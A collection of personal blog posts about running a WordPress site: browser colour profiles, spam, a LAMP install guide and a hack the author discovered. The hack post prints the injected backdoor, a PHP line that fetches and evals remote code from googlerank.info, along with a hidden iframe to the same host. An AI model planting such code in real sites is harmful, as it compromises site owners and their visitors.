Order of the Bath

To those who look carefully, photographs on web pages look dull compared to how they look in photo editors. I always thought it was due to the low resolution but apparently it is all about Colour Management Profiles. These are instructions placed in the image file which tell the receiver how to render the colours and are intended to allow matching on different devices—e.g. Screens on different computers, projectors and printers. However, Firefox has always ignored them; until Firefox 3. IE ignores them as well; Safari does read them but in a different way.

In Firefox, if you go to the about:config page and set gfx.color_management.enabled to True then, after a restart, it will be activated. All the photographs will look just a little bit richer, brighter and more sparkling. The photo purists are wondering why it has not been enabled by default?

Well if you have tried it in Windows you will see—everything else will have taken on a different tinge compared to what it was before, mine went pinkish, others have reported a cream bias. The greys are no longer neutral because in the process of doing it to photographs that come with built-in profiles, they have applied a default profile to everything else on the page and it all looks wrong. The official Mozilla page says that it relies on a properly calibrated monitor. Well mine is as close as I can get it without special hardware but that is not the answer. What you also need to do is set the default profile gfx.color_management.display_profile. You would expect this to be the actual values for your monitor, but that is what Firefox is already doing. What you need to do is set it to C:\WINDOWS\system32\spool\drivers\color\sRGB Color Space Profile.icm to stop Firefox altering it and allow the Windows display driver to make the correction for the screen. Brad Carlile has a good test page—if the greys still look grey and his three test pictures all look the same then you have got it right. The Apple Mac doesn’t seem to have a problem, just set the enabled flag to True and it mostly works. Safari (at least on the Mac) does it like this by default.

Secondly, plugins, particularly Flash, do not compensate, so sites that blend from backgrounds to Flash will no longer be seamless—but my fix seems to solve that as well, unless they are trying to blend Flash with JPG which would be unusual. I haven’t got this working for the Mac yet. and, although Flash blending is ok, apparently Safari falls down for a similar reason; the CSS and GIF backgrounds don’t blend seamlessly with JPG and PNG images. This may also affect my fix but I haven’t had a chance to experiment with it yet. What I need is another comprehensive test page. Update: It is a heavy read, but this page by G. Ballard explains it all and has a lot of test pictures or this excelent article by Jeffrey Friedl.

Finally, it also takes 10–15% more processor power to render the pictures so those on older systems will see a noticeable slow down on picture heavy sites.

I first though that I would be switching it off again until they get this sorted out properly, but having found the profile hack I will leave it, I don’t care about Flash anyway.

For some time I have been having problems with registered users. Not the dozen or so users that I know about who either contribute to the site or are left over from the days when I insisted on registration before commenting. No, these are ones where “people” have found the registration page, created a profile but I have never heard from them since. I have been looking for a way to clear them out, which is not easy because I have no way to tell if they have actually commented using that profile and if I delete those, then the comments disappear with them. I have been looking around for a plugin to help and in the mean time I have been deleting ones with email addresses in Russia, Bulgaria and Poland—it is not xenophobia, just that I know that there is a 99% chance that they are spammers.

One possible plugin that I have tried is loginlogger. This keeps a track of when people have logged in. I was hoping it did a bit more but even that has been fascinating. Apart from my own connection, which I know about, I had well over 100 failed logins over a 2 hour period last night, and the usernames were quite repetitive; brutal2008, Reiki, kazikr, broker1980, watroba50, smiglidigli, bombastik2008, etc. occur quite often. These names don’t appear in my roster (but they may have once and I have deleted them, I don’t keep track) but doing a Google search on them reveals a common pattern; most hits are either on SEO sites or are Polish or Russian sites or in those languages.

So my policy seems to be justified—that is where the spammers are. To avoid the problem in the future I could have disabled registration altogether. It isn’t used a lot, but I like to give regular commenters the option of having their profile stored if they want to. So what I have done is install the Sabre plugin. This is a very flexible registration control system with options for Capcha, arithmetic tests, email confirmation and other validation tecniques. I am hoping that with minimal effort I can foil the majority of automatic bot registrations.

Doing a search with those keywords reveals a number of guides but most are now either old, incomplete or refer to the Ubuntu Server Build which has most of it pre-installed. My requirement was to put Linux (Ubuntu), Apache (web server), MySQL (database) and PHP (programming language) onto an existing desktop build (under VMware Fusion on a Mac) to serve as a WordPress development test-bed to save me having to keep uploading to a sandpit region on my web host.

The references used to achieve (and write) this were LAMP Installation On Ubuntu, Installing LAMP on Ubuntu 7.10 and Installing and configuring LAMP on Ubuntu.

The process will will mostly be done in a terminal (shell) window and a browser. The latter can be on a separate system on your network, in which case subtitute the Ubuntu IP address for “localhost” in the instructions below.

sudo apt-get install apache2
Change the ownership of the web area using
sudo chown -R [your Ubuntu account] /var/www
and test it by pointing a browser at http://localhost/

sudo apt-get install php5 libapache2-mod-php5
Restart Apache (sudo /etc/init.d/apache2 restart), create a file /var/www/phpinfo.php containing the line <?php phpinfo(); ?> and test from the browser (http://localhost/phpinfo.php).

sudo apt-get install mysql-server mysql-client
sudo apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin
During this process you should be asked to set the MySQL root password. It is very important.

Edit /etc/php5/apache2/php.ini and insert the line extension=mysql.so (watch the spelling, the comment in the file is wrong) so that PHP can see MySQL. Also Apache needs to be told where myphpadmin is so edit /etc/apache2/apache2.conf and add the line
Include /etc/phpmyadmin/apache.conf
Restart apache again and test by going to phpmyadmin (http://localhost/phpmyadmin/). The login is root and the MySQL root password (I think).

My immediate requirement was to use it for WordPress. Although you can download a WordPress package using apt-get, I found that this was rather out of date so I did it manually. You will need a database so login to phpmyadmin, create a database by entering the name (e.g. WordPressDB) in the box and click the create button. Now click the SQL button and execute the following command where WordPressDB, WPDBaccount and WPDBaccountPW are your choices.
GRANT ALL ON WordPressDB.* to WPDBaccount@localhost IDENTIFIED BY ‘WPDBaccountPW’;

Now in the WordPress directory (say /var/www/wordpress) copy the wp-config-sample.php file to wp-config.php and edit it thus

// ** MySQL settings ** //
define('DB_NAME', 'WordPressDB');
define('DB_USER', 'WPDBaccount');
define('DB_PASSWORD', 'WPDBaccountPW');


Now finish the install by surfing to http://localhost/wordpress/wp-admin/install.php
It will give you a WordPress admin password on the way.

That is it—the only problems I found were keeping track of which password was which and went where.

By the way, it is only for use on your home network, there are other things you will need to do if you are planning to set it up as a real internet visible server.

This came out yesterday as an emergency patch for a vulnerability. I wouldn’t normally write about it here but, for some reason, they didn’t publish the list of changed files. So here they are:—

xmlrpc.php
wp-content\plugins\akismet.php
wp-admin\install-helper.php
wp-includes\version.php
wp-includes\gettext.php
wp-includes\pluggable.php

It is the first one that is important.

Some time recently (at least I hope it was recently) someone has hacked this blog. It was very subtle and I only discovered when a friend said that she could no longer get to even my home page. She uses McAfee security system and got the message

googlerank.info/counter may cause a breach of browser security.

*Why were you redirected to this page?* When we tested, this site attempted to make unauthorized changes to our test PC by exploiting a browser security vulnerability. This is a serious security threat which could lead to an infection of your PC.

The McAfee information page had more details. I had a hunt around and couldn’t see any mention of this googlerank.info site and no iframes and was beginning to think it was a false alarm. But looking at the page source of the front blog page via the view menu in Firefox, I spotted a small line of code apparently advertising a DVD download site. I can’t show it to you now because I forgot to save a copy but it was rather odd. It was designed not to display (using CSS) so must have been there only for the search engine linking credit; also, it made no mention of the googlerank.info site. It was just before the footer code and didn’t appear on any other blog pages so I was drawn to my theme index.php page and, sure enough, between <?php get_sidebar(); ?> and <?php get_footer(); ?> was the offending line of code. Checking over the rest of the file I found another piece immediately after the initial <?php which did mention the offending googlerank.info stuff which was as follows:—

if (isset($_COOKIE['pird']) or isset($_GET['pird'])) {
if (!isset($_COOKIE['pird'])) setcookie(’pird’, ‘12313.412′,time()+60*60*24*600);
eval(gzuncompress(file_get_contents(’http://googlerank.info/soft/faq.compressed’)));
exit;
}

I am not exactly sure what it does, the file referenced seems to be missing, but I have chopped the code out now. A Google search doesn’t come with any hits for this type of hack.

What is worrying is that I don’t know how they got in. I had a good admin password which I have now changed for an even better one. I should also refresh the theme code from source in case there are other changes that I haven’t seen. I will need to look seriously at updating to the latest WordPress version, or perhaps the problem is file permissions? Or is my hosting service compromised? Also, do I need to tell some database somewhere that I am safe again, McAfee seems to have already white-listed me? I can see that there is no point in these security companies telling deliberately malicious sites that they are blacklisted but it would be useful for those of us who have been unknowingly hacked.

As a result I have a lot more respect for McAfee than I did before, I see they also know that the site is hosted in Canada.

Update: Looking around I found that the main site index.htm was also modified. It had the well known line

<iframe src=http://googlerank.info/counter style=display:none></iframe>

so this is probably what McAfee was seeing. What I still don’t know is how it was done. None of the file or directory protections are bad and the date on the files attacked is the same as the original. I have now refreshed everything so it should be clean but if you don’t know how then it remains a concern.

Update 2: Mtekk’s Crib seems to have found a similar problem.

Update 3: Creative Briefing has experienced a similar problem using WordPress version 2.3.3 (the current one at 13-Mar-2008). This is very worrying.

BlogSecurity has published a white paper about how to secure your WordPress installation. A lot of the stuff in there is security by obscurity e.g. changing your database prefix and renaming your admin account which may slow down intruders but there is some good stuff in there as well. They also advertise a WordPress Security Scanner which should be worth a test.

Thanks to LiquidMatrix for the nudge.

As my “caught spam” counter rapidly approaches the 100,000 milestone I have noticed that there seems to be a discrepancy. Currently I get between 200 and 300 spam comments a day on this blog. This high figure really kicked in over Christmas last year but I have been using the Akismet anti-spam plugin since the previous May when the problem was significant, but a lot less.

The way Akisment works is that, as each comment arrives, details of it are checked against a central database at Automattic and an opinion is given as to whether it is spam or not. If it thinks it is spam it is put in a separate bucket and doesn’t get displayed; if not it goes for moderation as normal (I am a bit more paranoid than some and every time I consider taking off the moderation, I get a flurry of misses). The spam comments are kept for 15 days unless deleted manually and I have an opportunity to override the decision, though I haven’t seen a single false positive yet.

So every comment that arrives is given a unique number in the blog database, there doesn’t seem to be any way of bypassing that as they are all kept for a period and need to be referenced. As I write the latest spam message has been given number 62,407. This is 150 a day since I started, which seems reasonable. So how do Akismet reckon that they have stopped 99,315 on my behalf, almost 100 a day more?

The faq says

Some versions of the Akismet for WordPress plugin will hide duplicate comments, making it appear to be a different number caught than displayed.

but I can see no evidence of that and I am using the standard issued plugin.

It is not particularly important as there is no doubt that it does a good job, but it would suggest that their web site claim of nearly 2 billion spam blocked is also inflated.

I thought it was about time that I created a theme that suited the blog title and incorporated all (and only) the features I wanted. Subject to change in the future, this is it.

It is

• Mimimalist—so a lot of things that I don’t want/like are missing. Like calendar, monthly archives (what is the point) etc.
• Fluid—it works to any (reasonable) screen size
• Extensible header image—one that stretches with the screen
• There is built-in (but optional) support for my favourite plugins—Akismet, Custom Comments, Get Recent Comments, Gravatar and Paged Comments.

If you like it, I have made it available as a download. It should be fairly easy to adapt.

Please report any problems here and I will do my best to fix them, otherwise, what-you-see-is-what-you-get (except the logo at the bottom which is not included in the download).

A while ago someone pointed out that there was an anomaly with WordPress in that the web pages were displayed in UTF-8 character set but the database was stored in a Latin charset and that was causing a few problems. They worked out in detail how this should be corrected.

Unfortunately it seems that the authors took on board that it needed to be changed but ignored the method. The consequence is that people updating to version 2.2 using the default config file are in a bit of a mess if they use a text containing non US-ASCII characters, especially foreign languages (wrt English)

I noticed first because my British blog (this one) frequently uses the pound sterling character £. Having corrected all those I have noticed a few others, for example ô became Ã` and — became –.

Note that this does not affect new blogs at all.

For blogs upgrading from an earlier version to 2.2 the lines to watch in wp-config.php are define('DB_CHARSET', 'utf8'); and define('DB_COLLATE', '');. They didn’t use to be there. I think the mistake was taking any notice of the sample file—silly me, I thought it was necessary to keep all files up to date.

At least there should be some warning about it as it is a natural mistake—I only found the trac entry after the event, the announcement didn’t mention it. There is some documentation about it but that is not something you would naturally look for. Now I have the problem that I have fixed some by hand and made some posts with the new system so how do I fix it—change them all by hand or revert and change those ones I have done back?

A while ago I mentioned that I had installed the Akismet spam blocker on this blog. I still think it does a wonderful job, but over Christmas another problem appeared. Akismet certainly traps all the spam still, over 2000 items in a few days when I wasn’t watching closely and then 2-300 per day since, but it parks it all in a holding queue. The default action is to hang onto it for 15 days then it drops off, lost forever. The idea is that it gives you time to spot any false positive identifications and retrieve them. In practice there is just so much of the unsavoury stuff that it was not possible to go through it—it is actually quite depressing trying.

As an improvement I have installed the Firefox Greasemonkey script called “Akismet Auntie spam for WordPress.” What this does is reduce each spam item to just two lines which contain the essential information—the name, email, URL, IP address and the beginning of the comment. This makes it much quicker to scan through and detect any possible mistakes, particularly reducing the huge link infested ones to a manageable size. Yet, with a few days away, even this was not enough and I had noticed that the comment URL on the blog was now the most referenced page on the web server and there was a risk that the web host may complain.

It was with great pleasure that I discovered the answer in the WordPress “Akismet Worst-offenders” plugin—this is sort of a plugin to a plugin, it provides additional admin functions. It is very much a work in progress but it does a great job. The first thing it does is to categorise spam into types based on things like IP address (where it came from) and URL (what it is advertising) and content (number of links). This allows you to delete stuff in related chunks rather than an all or nothing approach which is the default for Akismet. If you have 25 comments all from the same IP address in a very short period then you can reasonably assume they are rubbish and dump them. Using this it is possible to reduce the queue to a single page which it is not difficult to go through by hand.

A recently added feature, however, is even stronger. Having identified where the spam comes from it can add a “Deny” clauses to .htaccess, the file that controls the web server, so that addresses are completely blocked from your site. Now the rouges are completely locked out, the spam doesn’t even get as far as WordPress, and the load on the server and database is considerably reduced. The block list is continually reviewed so that only currently active spammers are blocked and, in case you were worried about potential readers being blocked from the site, however innocent they may be, the chances that the owner of an infected spambot actually wants to read your blog are immeasurably slim, unless of course you are on the A list.

Now the negative bit—the documentation is pretty poor. The guy is at the end of his doctorate so is rather busy at the moment, but I trust that things will improve. The basic function is easy to set up. Just download the file, rename it to .php, install it in the plugins directory and activate it. There is a configuration panel which can be left at the defaults and that is it.

The .htaccess bit is not descibed anywhere that I can find. What you need to do it download your existing .htaccess file and add the following lines to the end.

Order Allow,Deny
# BEGIN worst-offenders
# END worst-offenders
Allow from all

then upload it again. That will tell it where to insert the deny messages and then that just works as well.